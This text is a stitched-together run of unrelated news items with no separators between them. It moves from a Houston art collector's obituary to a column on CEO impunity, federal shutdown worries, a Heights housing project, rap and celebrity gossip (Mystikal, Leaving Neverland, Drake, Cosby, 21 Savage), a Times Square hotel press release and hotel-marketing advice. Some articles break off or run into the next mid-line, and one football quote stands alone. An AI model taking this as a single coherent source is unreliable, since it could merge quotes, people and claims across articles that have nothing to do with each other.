He was always adding to his holdings and supported every gallery in town, Butler said. Just last Saturday, during an opening at Butlers gallery, Lassiter had set aside a James Siena print from a back room, to think about it. With Bill, it was never an impulse purchase, Butler said.

When it came to enjoying life, however, Lassiter didnt hold back. He was the most absolute bon-vivant, Butler said. He loved his cocktails, and he loved having people over for drinks. Im a teetotaler, but that didnt matter to him. He served me Topo Chico. He was the most gracious person.

Along with artworks, Lassiters exquisitely appointed bungalow held large collections of Old Master prints, tramp art, mercury glass, mirrors and Fornasetti objects. It was all done within such a budget its unbelievable, said Butler. He was resourceful. All these objects were put together in the most amazing way.

Lassiter never owned a car, although he never missed exhibition openings. Nor did he own a TV, typewriter or a computer, possessions that apparently were not useful to him.

Lassiter had lived alone since the death of his partner, the Museum of Fine Arts, Houston registrar emeritus Edward Mayo, in 2005.

He led an extremely well-curated life, said Museum of Fine Arts, Houston director Gary Tinterow. He supported every kind of creative action  artists, curators, musicians and dancers. It was life-enhancing to be in his presence. The cup was always half full, and as he grew older, his remarkable personality became all the more evident.

Lassiter, who moved to Houston as a youngster in 1942 and witnessed the birth of the citys contemporary art scene in the 1950s, had multiple generations of fans.

Bill was much loved for his ultra discriminating standards of where art has gone, and where it has been, mostly relative to his own collection; always separating craft, muse and market in his discussions with his friends, said the artist HJ Bott. He will be missed by so many people for his warm, non-possessive candor and raucous humor.

MFAH curator Alison de Lima Greene also loved Lassiter's humor and energy. "He could be wicked funny," she said. "Some people at a certain age ossify, and their curiosity abates. Bill was all about embracing change. He wanted to meet young artists without sacrificing friendships with older ones." He also had an unerring eye, more than once outbidding her for prize works at charity auctions. "He really paid attention," Greene said.

Lassiter was wistful a few weeks ago, telling Aylsworth he was enjoying his life so much he didnt want to see it end. Its sad, Aylsworth said, but he enjoyed it right up to the end. He wouldnt have wanted to linger.

Jim Avant, Lassiters legal representative, said Lassiters art will be bequeathed to the Menil Collection. Some of the funds for works the museum decides to sell will also benefit the University of St. Thomas. Avant said Lassiter also wanted his paid obituary to be as minimal as the contemporary art he loved, containing only the dates of his birth and death.

Funeral services are scheduled for 2 p.m. Monday at Holy Rosary Catholic Church, 3617 Milam, before a reception at Carter Bradshaw Funeral Home.

molly.glentzer@chron.comYou may have never rubbed shoe polish on your face to mock African-Americans, but did you wear a Confederate costume to an antebellum-themed gala, don a sombrero for a Border Patrol Party, or throw on a Sambo T-shirt?

Hundreds of scions of Texas most prominent families have done all of those things, and probably worse, at the University of Texas at Austin since 1990. Anyone who thinks the bar for racism is set at blackface needs to take a hard look at their college yearbooks and party photos through a contemporary lens.

We have all done things we have regretted, but transgressions like these, highlighted by the political turmoil in Virginia, are different. Some mistakes call into question the character of people with power and privilege, their sense of impunity and their suitability for leadership.

After all, a sense of impunity has ruined many a leader, both political and corporate.

On HoustonChronicle.com: Volkswagen, Wells Fargo overhaul CEO pay -- only after scandals

Following revelations that Virginias top politicians have a history of demeaning African-Americans, the Wall Street Journal reports that boards of directors and executives are hiring opposition research firms to see what dirt might exist on them or their management teams.

Not a bad idea as a public relations exercise, particularly if activists are already looking to embarrass your industry. But the strategy is akin to shutting the barn door after the horses got out.

For most of American history, colleges have educated the children of the wealthy and powerful, who segregated themselves by joining fraternities and sororities. We all know that adolescents will test authority and social norms, so we should not be surprised when they press on hot button issues like race to test their privilege, as those at UT did.

The problem comes when they do not face any consequences. If they get away with something reprehensible, they believe no one will punish future transgressions. There is no need to ruin someones life, but they should learn an unforgettable life lesson.

The ire trained on Virginia Gov. Ralph Northam, a Democrat, comes from the sense that he never faced any consequences for his bad behavior. Critics fear that if he is allowed to remain in office, then others in similarly privileged positions will believe they too have impunity.

Only voters can punish Northam. But business leaders answer to their board of directors, who sadly are no more likely to punish a CEO than a protective parent. Until the behavior becomes too foul to ignore.

The most recent example is Carlos Ghosn, former CEO of Renault and Nissan. Hes had a reputation for being a vindictive person for over a decade. But he also served as chairman of the board at both Renault and Nissan, which helps explain why he thought he could misbehave.

Ghosn has been sitting in a Japanese jail cell since Nov. 19, 2018, on charges of financial misconduct and abuse of his position while head of Nissan, part of a global alliance with Renault. French prosecutors are now examining why Renault paid for his wedding reception at the Palace of Versailles.

Les Moonves sense of impunity while CEO of CBS Corp. cost him a $120 million golden parachute, but only after the board fired him for allegedly sexually harassing six women and keeping another woman on staff to perform sexual favors. If journalists had not investigated, hed still be in the corner office.

Then there is Jeff Bezos, CEO of Amazon, who sent sexually explicit photos and texts to his girlfriend during a trial separation from his wife. The National Enquirer obtained the images and threatened to publish them.

If in my position I cant stand up to this kind of extortion, how many people can? Bezos admirably declared in refusing to comply.

On HoustonChronicle.com: Bad CEO behavior can cost shareholders

The better question is why did the CEO of one of the worlds largest technology firms think it was a good idea to transmit the images? The answer is simple: he didnt think the normal rules applied to him.

I routinely meet powerful and privileged people, and I am astonished at their aides and lieutenants sycophancy, treating their bosses like demigods. Boards of directors of public corporations often allow the CEO to also serve as chair, helping pick the people whose job is to monitor his or her performance. This is bad for the company and the CEO.

When picking through the debris of a corporate train wreck, the precipitating cause is most frequently an arrogant, poorly supervised CEO.

The antidote for impunity is accountability. Setting high standards that discourage bad behavior is critical, but enforcing them is even more so.

Chris Tomlinson writes commentary about business, economics and policy.Refill prescriptions. Keep working that side hustle. Make sure at least the rent is paid up. Downsize those date nights to evenings by the TV. And change the computer password before Friday.

Federal workers are preparing for another government shutdown at week's end with the bitter benefit of lessons learned from the last shutdown - a historic 35-day furlough that ended just three weeks ago.

"The whole thing is insulting," said Anel Flores, who works at NASA's Goddard facility in Greenbelt, Maryland, where he dreams up new planetary space missions.

LOCAL SUPPORT: Two Texas lawmakers call for $2.5 billion in state funds for border wall

Open, closed. Open . . . closed? The work lives of 800,000 federal employees continued to hang in doubt Tuesday as political leaders tried to hammer out a budget deal to keep the government going. If they don't, nine Cabinet agencies and dozens of smaller ones will close at midnight Friday - again.

Few were finding comfort in assurances that a deal would be reached. The pain of the last shutdown still stings. Little is back to normal. Some workers still have not been fully repaid. Others are still paying back the unemployment benefits and short-term loans taken during the last furlough. Backed-up workloads are still being cleared. Anxiety is rising, despite talk of a deal.

"It's the whole not knowing what's going to happen," said Flores, 59.

So some have continued to hedge their bets.

Roger Ware still works 24 hours a week in construction on top of his full-time job at Hazelton Federal Correctional Complex in West Virginia.

"I'm not going to quit until I see what happens on Friday," said Ware, 42, who is also vice president of his local union.

Joe Rojas, a 52-year-old correctional officer at Coleman Penitentiary in Central Florida, still has Lyft and Uber decals in his car's windshield. He started picking up fares during the last shutdown, and he's ready to go again.

Angie Acklin, a correctional officer and local union representative at the prison in Aliceville, Alabama, said she recently applied for a cashier's job at Walgreens.

"I need the peace of mind," said Acklin, 41. "I need to know I have money to take care of myself."

Furloughed workers had to float the 35-day shutdown without paychecks. They were supposed to get paid once the government reopened. But lingering payroll problems have led to some getting shorted.

Flores said he was still owed several hundred dollars.

In Kansas City, Shannon Ellis said some IRS workers had suffered incorrect deductions and leave balances on their paychecks since the shutdown.

Now, these workers are looking at going without a paycheck - or paychecks - again.

Many IRS workers were squirreling away overtime pay during the busy tax season in preparation for another shutdown, said Ellis, president of National Treasury Employees Union Chapter 66.

Everyone is still scarred by the last shutdown - and the uncertainty of not knowing how the next one could unfold.

"You know what to expect, but you don't," said Ellis, 52.

The fear can be motivating. Laura Barmby, an international trade specialist at the Commerce Department in Washington, has been working to clear her desk of important matters before Friday. She was furloughed during the last shutdown and missed a deadline to vet applicants for a presidential awards program for exporters.

"I've never been this far ahead of schedule," said Barmby, 51.

During the last shutdown, dozens of federal workers and contractors launched crowdfunding campaigns on sites such as GoFundMe to make up for what the government wasn't paying. And many of those campaigns are still open - donations still trickling in - even as the government looks to close again, one need bleeding into another.

Some workers haven't shrugged off their shutdown caution.

Connie Scarrow is still avoiding spending money on weekend trips to visit relatives who live about two hours from her home in Norton, Kansas. That means she hasn't seen her dad, who will turn 92 later this month, since Thanksgiving.

Scarrow, a federal meat inspector in Beaver City, Nebraska, also spends more time hunting for the best deals when she's shopping.

"I was laughing at myself the other day when I was shopping for toilet paper," she said. "I had a calculator out to figure out what the best deal was."

For meat inspector Eric Rothell, curbing costs has meant date night with his wife has gone from a trip to a movie theater or comedy club to an evening in front of the TV. He's had to turn down many of his teenage son's requests for money. His son is no longer hanging out with friends at restaurants. He can't be on the trap shooting team he wanted to join.

"This whole thing shouldn't affect kids, but it does," said Rothell, 54.

Flores, who works at NASA, said the threat of another shutdown - so soon after the last one - is frustrating.

"This isn't any way to run a space agency," he said. "This isn't any way to run the federal government."A developer planning an affordable housing complex in the Heights may reduce the size of the project after meeting with residents who voiced concern that the scale of the project would create traffic and safety problems.

Chicago-based Brinshore Development, which is under contract to buy a 1-acre property at the northeast corner of Columbia and 4th streets, filed paperwork last month with the Texas Department of Housing and Community Affairs seeking tax credits worth as much as $15 million over 10 years to help fund the project. In the documents, the company said the project would comprise 120 units, fueling concerns by residents that there could be perhaps a 10-story building on the property.

Scott Puffer, Brinshores vice president of business development, sought to allay those fears Wednesday, telling a residents group that it would likely build an 80- to 85-unit, five-story building on the site.

Early in process they ask you for this information. You can reduce your project size, but you cant increase it, Puffer said, explaining why the number was higher on the paperwork.

After meeting with members of the Houston Heights Association, Puffer said Brinshore would consider reducing the height of the building to four stories, which would also reduce the unit count. The company is still considering how residents would access the building as well as its overall design in an effort to respect the neighborhoods historic architecture.

We want to be accommodating, Puffer said. We take feedback seriously.

The project is slated for a 46,200-square-foot site at 402 Columbia St., a block north of the Interstate 10 frontage road and several blocks east of Heights Boulevard.

It is one 40 low-income housing tax credit projects proposed for Houston; Brinshore is proposing three more in other parts of the city.

At Wednesdays Houston City Council meeting, District C Councilwoman Ellen Cohen tagged a resolution to support the 40 applications for tax credit developments, including Brinshores Heights project, which is located in her district. The resolution will be considered at next weeks council meeting.

Cohen said the one-week delay will give her additional time to learn more about the Heights project and others.

I support affordable housing, Cohen said. District C is a big district and we want to make it accessible to all income levels.

Puffer said Brinshore chose the Heights location because of its proximity to urban job centers and to offer more affordable housing a neighborhood where property values have skyrocketed in recent years.

Its really one of the things that attracted us to this site. Its not necessarily a gentrifying area. Its sort of already gentrified, he said.

Federal tax credit programs such as the Competitive Housing Tax Credit Brinshore is seeking are used as a tool to help finance development of affordable housing for families that make less than an areas median household income.

The credits are competitive, and the state allocates a limited number each year, awarding points to projects to determine which ones receive the tax break. Developers can get points for going through a pre-application process and receiving letters of support, along with other items.

The credits are allocated among 13 regions in the state. Last year, nine projects in Region Six, where the Heights project is located, received $13.6 million in tax credits, Kristina Tirloni, a spokeswoman for the Texas Department of Housing and Community Affairs, said. This year, the estimated amount allocated for the region is about $14.5 million, though that is subject to change, she said.

The type of tax credit Brinshore is seeking is meant to offset some 70 percent of the projects eligible costs. Credits worth $15 million would project a cost of $21.4 million for the Heights project.

Year-end start contemplated

If awarded the tax credits, Puffer said Brinshore would move forward with final plans and possibly start construction by the end of the year.

The Heights complex would include one- and two-bedroom units for residents with a mix of income ranges, including people who make as little as 30 percent to 80 percent of the area's median income, which for a family of two is around $60,000. The bulk of the units would be for people earning 60 percent of median income. There will also be market-rate units not restricted by income.

Brinshore is set to pay $3.6 million for the property, now owned by a family estate, according to a December purchase contract filed with the state agency.

Before the affordable apartment complex was proposed, another developer wanted to build a hotel on the site. The neighbors had similar complaints then, said Kevin Chenevert, president of the Houston Heights Association board. The concerns included increased traffic, safety and how emergency vehicles would be able to access the neighborhoods relatively narrow streets.

After meeting with the developer Wednesday, Chenevert said he was pleased to learn that Brinshores project isnt as large as he and other residents initially thought.

That didnt mean that community support was assured. Heights residents recently submitted a minimum lot size application to the city that, if passes, would require a portion of the developers site to be used only for single-family residential.

nancy.sarnoff@chron.com

twitter.com/nsarnoffWhether we have two of them on the field, all three of them on the field, well get creative and have some fun with it," defensive coordinator Joe Barry said.Mystikal is a free man. According to TMZ, the New Orleans rapper finally posted his $3 million dollar bond on Tuesday after serving the past 18 months in a Louisiana prison for an alleged rape charge. Sources say the money came from an advance for a new recording deal, and funds raised by Mystikal's family and friends.

The rapper's attorney Tim Yazbeck confirmed his client's release to TMZ on Tuesday: "It's been a long time coming for Mike, but now he can get back to being the artist he is, doing what he loves, and seeing his kids again.

If you're unaware, the charges stem from a 2016 incident when the New Orlean rapper was arrested for allegedly raping a woman after a concert in Shreveport, Louisiana. Mystikal pleaded not guilty to the charges in December 2017 and is expected to return to trial this May. Mystikal's lawyer, Joel Pearce, said he is confident the rapper will walk away proven innocent. "Based on all of the evidence we have, we strongly believe that an amicable resolution is not only possible but probable as an outcome in this case and that Michael Tyler will never be made to return to jail for a crime he didnt commit," Pearce said.

For now, Mystikal is a free man until his trial in May. Well keep you posted.

[Via]The Sundance Film Festival has never been deterred by the threat of controversy. Founded by Hollywood icon Robert Redford, the event has been a stronghold for provocative independent films, ranging from Kevin Smiths supposedly blasphemous Red State, The Blair Witch Project, The Birth Of A Nation and the routinely explicit work of Lars Von Trier. With that said, arguably no production has brought as much controversy to Park City, Utah as Dan Reeds Leaving Neverland. Helmed by the Emmy & BAFTA nominated director behind Terror In Mumbai and The Paedophile Hunter, the new documentary has come under fire from Michael Jacksons most fervent supporters. As a result, the local police precinct has been placed on high alert.

Complete with placards emblazoned with the slogan Seek Truth, Think For Yourself, the efforts of those in Utah coincide with fans plastering hashtags #BoycottSundanceFilmFestival and #StopLeavingNeverlandNOW across Twitter and Facebook. For hardened MJ fans, the problem lies in what the film has set out to accomplish. Through gut-wrenching interviews with the now-adult men and their families, reads the official synopsis, Leaving Neverland crafts a portrait of sustained exploitation and deception. Ten years after his death, and fourteen after Jackson was found not guilty of sexual abuse allegations, the documentary has once again shone a light on the rumored perversions that once plagued the Neverland Ranch.

Carlo Allegri/Getty Images

Set to be aired in March on HBO, the preamble surrounding its widespread release has given us a good idea of what to expect, the revelations it has yielded and why Jacksons family and unflinchingly devoted fans are up in arms. For its British director, the origin of Leaving Neverlands production was a simple desire to disperse the lingering ambiguity around Michael Jacksons relationship with children. Detailed in a post-premiere Q&A, Reed elaborated on how he found the story of the two alleged victims that would form the basis of the documentary:

I came across a reference in one of the forums to a court case held by Wade (Robson) and James (Safechuck). I thought thats strange, I didnt know about this and this might mean that, for the first time, someone might be able to tell the story of what actually happened. About a year later, I found myself sitting in front of them with a camera and this extraordinary story began.

The stories hes referring to are that of two men claiming to have been molested by the global icon in the 1990s. Upon the news that screenings of this two-part, four-hour long documentary would come equipped with therapists, it was safe to assume that this would be a no-holds-barred account of the abuse that Robson and Safechuck were said to have been subjected to. Filled with revelations that prompted Indiewire Film Critic David Ehrlich to remark that hed need 400 showers to ever feel clean again, his ensuing review spares no details as to what viewers can expect. Rather than cast any reasonable doubt, Ehrlich presents the films content as unequivocal fact, no matter how depraved or unsettling it may be.

Where dispatches from his 2005 trial scratched the surface of his alleged crimes, Leaving Neverland sheds searing light on his infamous sleepovers, mock wedding ceremonies and regimented systems of abuse that came equipped with drills on how to get dressed quickly should they be interrupted. In the second part, the film moves away from the accusations themselves and focuses on the ramifications that this alleged abuse had on the lives of these kids and their families. When it comes to what the alleged victims are getting out of this, James Safechuck- who first encountered Jackson on the set of a Pepsi commercial- has vehemently denied that its some exploitative cash-in. From the get-go, there was no money ever offered and we never expected anything, he explains. It was really trying to tell the story and shine a light on it. To give people [who have survived abuse] the same connection and comfort weve got going through this.

Met by a standing ovation from Sundance audience members, the pair has been receiving commendations for their bravery from viewers and critics alike. Yet Michael Jacksons estate has portrayed them as far more malicious figures. In the wake of the films premiere, the family has unreservedly discredited it as a public lynching, making every attempt to undermine the accusers credibility by citing the legal proceedings of the past. The creators of this film were not interested in the truth. They never interviewed a single solitary soul who knew Michael except for the two perjurers and their families, reads a statement from the Jackson estate. That is not journalism, and its not fair, yet the media are perpetuating these stories. But the truth is on our side. Go do your research about these opportunists. The facts dont lie, people do. Michael Jackson was and always will be 100% innocent of these false allegations.

Amid labeling the film as salacious, the estate has also been quick to reiterate that the two accusers testified under oath that these events never occurred. Elsewhere, many of those close to Michael have come to his defense, refuting the notion that he couldve been a pedophile. Across podcasts, social media posts and television appearances, everyone from his sperm donor Mark Lester to older brother Jermaine have rubbished the documentarys findings, with the latter pleading for everyone to leave Michaels legacy alone in an emotional on-air speech. Left enraged by the film, Tito Jacksons son Taj has assigned himself the task of exposing the truth about his uncles life via an opposing documentary. Envisioned as a way to conclusively destroy decades of salacious myths which have been told and sold about Michael Jackson ad nauseam, he has set up a GoFundMe in order to aid his progress; at the time of writing, he has amassed $46,000 of his $777,000 goal.

In a more grassroots campaign, everyday supporters of the legendary artist have rallied behind him through an online petition that calls for the film to be shelved. Titled End The Defamation Of Michael Jackson, the contrast between the oppositional front of these 57,000 vocal supporters and the praise its receiving from audiences epitomizes why this film carries a real sense of occasion. Predestined to have millions tuning in, the morbid fascination it has conjured up is no mean feat. Whatever side of the fence youre on, March will give us all a chance to witness Leaving Neverland in all of its heinous detail. Its our job to objectively make up our minds as to whether were witnessing opportunism or a matter that could irrevocably change Jacksons legacy as weve come to know it.Lil Durk just received the boost of all boosts as he prepares a one-month tour across North America. Lil Durk's father, whom he affectionately refers to as Big Durk just returned from a 25-year prison sentence, the news coming via his personal Twitter account. Pictures of Durk and his father uniting for his return meal began sprouting on Reddit, shortly thereafter.

Back in 2014, Lil Durk talked to DJ Vlad about his father's incarceration, from which we learned that his father's street alias of "Big Durk" was the basis for his nickname. Not only that but "Big Durk" aka Dontay Banks was in some way responsible for shaping his son's identity as a rapper, made apparent through a message he passed along while incarcerated (via kollegekidd.com.)

"As it started out, I had a life sentence for the stooge pigeons who told on me. I been doing that time for 22 years now. But by the grace of Allah, I got that blessing and won the appeal and now Ill be out in a few years to be with my boy, to be with my sons and be where Im supposed to be in life and do the things Im supposed to do as a father." - Big Durk aka Dontay Banks.

Lil Durk, however economic in his use of language, is never one to turn away from his emotional side. Within the same 24 hour window, Lil Durk seems to have adopted the skull cap of his father in a message of solidarity for ATL rapper Ralo, currently awaiting trial on Drug Trafficking charges. May their kinship last forever and a day.Pandering to specific demographics is a common occurrence in politics. This tactic often earns criticism and sometimes ridicule, however. Remember how people reacted to Hilary Clinton boasting about keeping hot sauce in her purse as an attempt to seem hip and edgy? Kamala Harris got herself tangled in a similarly absurd situation. The Democrat appeared on The Breakfast Club to share her visions of American society's future. Then, her remarks caught a snag when she ventured out of the topic of social issues. Watch the full interview after the jump.

DJ Envy: What does Kamala Harris listen to? Charlamagne: What were you listening to when you was high? Was it Snoop? Kamala: Definitely Snoop, Tupac for sure, for sure

The former prosecutor appears to have either misspoken or simply lied about this part of her college experience. She graduated in 1986 before the release of the rapper's albums. Tupac and Snoop's debuted in 1991 and 1993 respectively. Viewers are assuming the politician was trying to appeal to millennials. Another take on her comments suggests that she might have actually been bumping their tracks while high. In that case, she would have been getting high while also participating in drug-related prosecutions.

Harris is now catching heat for either being yet another lying politician or a self-serving hypocrite. View some of the publics reactions below.This week, Torontos CN Tower gleamed a golden hue in the frigid Canadian winter night. The change in color scheme came from an unconventional, but at this point, entirely understandable source: an offhand joke from the citys biggest superstar, Aubrey Drake Graham. After winning the award for Best Rap Song at the 2019 Grammys, the rapper, in a visibly loose, celebratory state, told ET, I want to say the mayor of Toronto needs to turn the CN Tower gold tomorrow  in chrome and gold tomorrow. Are you stupid? Are you dumb? When his wish was granted the following night, he cut his cockiness with a tone of sincere honor. I love my city and this is my real sign of love and recognition, he wrote on Instagram.

This came just after Drake spoke of what artists should view as acknowledgment in his Grammy speech, discouraging musicians from seeking validation from an awards show that has rarely honored those most deserving, particularly in the world of hip-hop. "If you have people who are singing your songs word for word, if you're a hero in your hometown, if there's people who have regular jobs who are coming out in the rain and the snow, spending hard earned money to buy tickets to come to your shows, you don't need this right here," he said. "You already won."

Denise Truscello/Getty Images

Drake has always found ways to measure his success, and these days, its easy to do it with hard numbers. The rapper began this year with confirmation that Scorpion was the biggest streaming album of 2018, and its lead single, Gods Plan, the biggest streaming song. It would be easy to rest on being arguably the most popular artist in music, but it seems Drake is looking back to the goals he set at the beginning of his career. As a regular self-mythologizer, its not lost on him that his breakthrough project, So Far Gone, turns 10 this week. In fact, he's announced that it will be coming to streaming for the first time this Thursday.

So Far Gone is not Drakes first mixtape, nor is it his first album, but it is, unquestionably, his true debut. Printed in large type on the cover, the project is presented by Octobers Very Own, the partnership founded by Drake and Oliver El-Khatib, both October babies, and is the first time the influence of the collective feels tangible in the music. This is, in part, due to the addition of Noah 40 Shebib, who would later co-found the OVO Sound label, as a guiding hand in the sound of the project. From thereon in, the name Drake meant more than just Aubrey Graham, and marked a decisive move into a lane of his own.

Frazer Harrison/Getty Images

Lust For Life, the projects opening track, lays out the blueprint for Drakes career for the next decade. Pivoting away from the backpack rap of Comeback Season, it leans into Drizzys R&B influences, as 40 presents an insular, heavily-filtered backdrop that sounds like listening to an Aaliyah session through a studio wall. Within the first few minutes of the project, its almost as if Drake is already mapping out his legacy. I'm tryna do it all tonight, I got plans, he opens in what reads as necessary posturing to shake off his Degrassi image, adding later, It's funny when you comin in first, but you hope that you last. In reality, Drake was as far from the number one spot as he was from owning the Phantom he parked around the corner from his moms house, but his dreams not only of success, but longevity, have exceeded any expectations he could have had.

40s mom always say, Don't ask permission, just ask forgiveness, Drake says on The Calm, the kind of yearbook quote wisdom that hed pepper throughout his discography. As a teen soap actor turned Lil Wayne protege, Drizzy was a tough pill to swallow for some rap fans, and in some ways, forced him to adopt a fake it til you make it mentality before he would fully embrace self-deprecation and own the goofiness of his primetime roots in videos like Started From The Bottom and Im Upset. So Far Gone is Drake deciding that the first step to winning people over was to put out great music, whether the world was ready to hear from him or not.

Maybe the most impressive thing about the project is how many bases its able to cover. The opening suite of R&B-informed confessionals tells the story of the demise of a relationship that runs counter to Drakes ascent to fame, the couple calling things off (by way of a Peter, Bjorn and John remix) before Drizzy gets his call from Wayne. This ushers in Drakes then-newfound obsession with Houston, the city he first visited when Weezy flew him out to meet. 40 and Boi-1da are able to meld the syrupy crawl of DJ Screw and Bun B with the hazy melodicism of Drakes bedroom slow jams, a merger that continues to define his music to this day. Then theres Best I Ever Had, an instant pop-rap classic that brought Drakes songwriting out of murky R&B and into sharp radio ready hook-writing. Its the kind of crossover hit-making ability that put him in a league of his own with Hold On, Were Going Home and Hotline Bling.

Keep in mind, at this point, Lil Wayne is a year removed from Tha Carter III, the platinum-in-a-week blockbuster that solidified his claims of Best Rapper Alive. His presence across So Far Gone also challenges Drake to grow as a rapper, moving out of more winking backpackerisms (My delivery got me buzzin like the pizzaman) to pure style and confidence when hes up against his mentor. (I done became bigger swerving writing in my peer's lane/Same dudes that used to holler my engineer's name/One touch I could make the drapes and the sheers change/And show me the city that I without fear claim). At a time where very few rappers could measure up to Wayne, Drake proved himself a worthy apprentice.

Kevin Winter/Getty Images

So Far Gone will often be mentioned alongside 808s & Heartbreak as an album that ushered in a more melodic, heart-on-sleeve style of rap. While 808s' direct influence on the project is well-documented (there's a freestyle over "Say You Will," after all), its lasting impact is more tied to R&B. Unlike Kanye, who was looking to T-Pain, Phil Collins and Tears For Fears when making his jump to singing, Drizzy was working with Lloyd, Omarion and Trey Songz on So Far Gone, and the studied R&B leanings of the project helped break ground between rap and its sister genre in a way thats still being seen today with the likes of The Weeknd, PartyNextDoor, 6lack, and Bryson Tiller.

While Drakes songwriting has become more refined with time, all of the essential tools hes used to build one of raps longest runs were present in So Far Gone. In that way, its one of hip-hops great blueprints, and will certainly be something artists continue to reference for years to come. Unfortunately, they dont have no award for that.Bill Cosby is currently behind bars after he was found guilty of three counts of aggravated indecent assault. From what reports claim, his experience has been quite peculiar. He's reportedly acting like Dr. Cliff Huxtable and allegedly compared his stint behind bars to the great Nelson Mandela. While most people's experience in prison isn't the greatest, that doesn't seem to be the case for Bill who's spokesperson described his stint as an "amazing experience."



Montgomery County Correctional Facility via Getty Images

Andrew Wyatt, Cosby's spokesperson, sat down with WCAU in Philadelphia where he spoke about the comedian's current prison stint. Wyatt said that Cosby's been losing a lot of weight in prison -- largely due to restraining himself from eating bread, dessert and drinking coffee. Wyatt also said that Cosby's been working out while he's in prison.

"He's mentally strong, he's just a strong man," Wyatt said. "Despite the circumstances, he said that this is an amazing experience."

Adding, "He used the term amazing experience."

Wyatt also confirmed that he, aside from Cosby's attorneys, is the only person who visited the comedian in prison. Cosby reportedly only speaks to his wife on the phone and has told her not to visit him while he's imprisoned.

Cosby's currently in prison for 3-10 years after he was convicted in September of drugging and sexually assaulting Andrea Costand at his home over 14 years ago.21 Savage is officially out of ICE's custody for the time being as he awaits his deportation trial. It was revealed yesterday that he posted bond and today, TMZ caught the rapper flying back to Atlanta on a private jet.

21 Savage and his mother Heather were spotted at a landing strip near the Southern Georgia detainment center the rapper was being detained at. The rapper's and his mother were seen grinning ear to ear, as they should be. The rapper was locked up for the past 10 days since his arrest on Super Bowl Sunday. The rapper's lawyer, Alex Spiro, said, "That's how we take people home when they win."

The rapper will reportedly be celebrating his release in Atlanta with friends and family.

While he's out on bond, the rapper still has a long way to go until this matter is settled completely. The rapper's team will be fighting hard to keep him in America. Unfortunately, the problem seems to be his 2014 conviction. The rapper pled guilty to felony drug charges. While the conviction was expunged last year and there isn't a felony on his record, it appears as if ICE is still looking at 21 as a felon. However, ICE hasn't given any information about 21's dealings.

21 applied for his U-visa previously and he's been in America for the majority of his life. However, it seems as if ICE is still pushing for his deportation.



Roy Rochlin/Getty ImagesIn the center of Times Square, the Lord & Moris Times Square Hotel is managed by REAL Hospitality Group. It's just a short walk to some of New York's most famous attractions including the Empire State Building, Broadway theatres, and the Vessel at Hudson Yards.

Red Roof is introducing the Lord & Moris Times Square Hotel as part of its newly launched soft brand, The Red Collection. This marks the third property, second franchised hotel, and first location in New York City, one of the top 5 cities travelers love - and visit - in the U.S.

In the center of Times Square, the Lord & Moris Times Square Hotel is managed by REAL Hospitality Group. It's just a short walk to some of New York's most famous attractions including the Empire State Building, Broadway theatres, and the Vessel at Hudson Yards.

The hotel's 78 guest rooms are smartly designed spaces, some with bunk beds perfect for friends and families traveling together, providing guests with a quintessential New York experience. The property, accessible to some of the country's best culture and cuisine, offers unique features, rustic accents and chic wooden design elements. Hotel amenities include custom fountains in the lobby offering free filtered water, reliable Wi-Fi, tablets in each room, flat-screen TVs, stylish bathrooms, and more.

"Our Red Collection entry into New York City underscores our commitment to continue to bring affordable upper midscale properties to the most desired travel destinations," says Andrew Alexander, President Red Roof. "Feeding this demand, we will continue to expand and infiltrate new markets."

In 2018, Red Roof continued to drive demand for the brand, ending the year with a 17% increase, year over year, in property openings across all brands. "Red Roof's growth and expansion is a boon for customers and franchisees as we seek to penetrate new markets," notes Phil Hugh, Chief Development Officer, Red Roof. "This entry into New York demonstrates that we continue to provide franchisees with a number of diverse opportunities to invest in unique city hotels in high demand locations, driving revenue and profitable growth."

Two additional Red Collection properties will open in Brooklyn later this year. As with other Red Collection properties, the hotels will have their own distinct names, local flare and design standards aligned with consumer wants and needs.

"A pioneer in the industry, Red Roof has a proven track record and high brand awareness," says Ben Seidel, CEO and President, REAL Hospitality Group. "Partnering with them for the expansion of The Red Collection soft-brand in New York City is a natural progression, and key milestone for us, and we look forward to catering to travelers looking for comfort, style, and an enhanced affordable lodging experience."

The Red Collection's flagship location, The St. Clair Hotel  Magnificent Mile in downtown Chicago, opened in September. State House Inn, the second property and first franchised property in The Red Collection, opened in Illinois' capital city, Springfield in October. Future growth of the soft brand will continue to focus on locations in major cities, state capitals and resort destinations, providing modern, affordable and authentic experiences for guests.

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 2021 Hotel News ResourceWhat happens when a hotel marketer wants to attract guests from across age groups?

This article originally appeared on Tambourine.

The linchpin of successful hotel marketing is a detailed, accurate understanding of your hotels typical guest. As strategic bedrock, these hotel guest personas provide a framework for decisions on marketing campaigns and messaging.

If you dont truly understand who your guests actually are demographically and geographically, you should immediately extract your guest database from your PMS and work with a firm like Axciom or others to append the information you need to understand your actual guest profile(s).

But what happens when a hotel marketer wants to attract guests from across age groups? To speak to several demographics effectively, it helps to know the behavioral drivers of different age groups.

Step 1: Craft a targeted narrative

The smart hotel marketer must identify which pieces of a hotels story resonate most strongly with each demographic. Its not enough to just pick one narrative. Success requires a targeted approach that identifies which aspects of the hotels offering resonate with specific demographic segments.

Research from Expedia shows how income factors into trip priorities.

In addition to age, a travelers income is a crucial aspect of matching a narrative to demographics. Its not just that income determines the ability to pay. Expedia found that income influences trip type, which impacts how a hotel crafts its messaging. How traveler preferences correlate to age and income patterns should inform how a hotel targets its marketing.

We fully recognize that its impossible to put everyone of a certain age into a specific psychographic bucket but here are a few key insights to guide your hotel or resort marketing by age group:

Millennials:

People in their 20s/Gen Z are surprisingly practical!

So if your hotel targets those in their early 20s, consider showing how much value your hotel product/experience provides. Focus on the Instagrammable moments at the hotel and/or in the destination. And go ahead and ask for the sale: Only 15% of millennials say they dont want a hard sell from ads.

30s/40s:

30/40s: This age group fractures into a variety of narratives, depending on the objective of a specific trip: business travel, intergenerational family travel, or couples getaways. Pull each trip type into a standalone persona, and then market to that specific situation  youll find that you will highlight different parts of the property for the same consumer, depending on the qualities of a trip. And try humor: 30% of Millennials feel that humor is important in advertising!

Over 55:

Over 55s: Older guests are most likely to be either retired or at least focused more on comfort and amenities than their younger brethren. Theres also greater skepticism when it comes to emotionally-driven marketing: Only 7% respond to heart-warming advertising. Keep your narrative focus on the details and empower this demographic with the information they need to make an informed choice. Also, fitness is a priority, especially for luxury resort marketers: Americans 55+ (54 percent) are almost as likely as Millennials (55 percent) to say theyve exercised regularly in the last 12 months. Use this to your advantage!

Step 2: Match the medium to the market

Once you found the right angle, now its time to tell the story on the channel most suited to each demographic.

Research from Age of Majority found some obvious differences between how generations discover products and services: older generations rely on more traditional sources of information. The study also found unsurprising similarities: all ages consider friends and family as reliable sources of information.



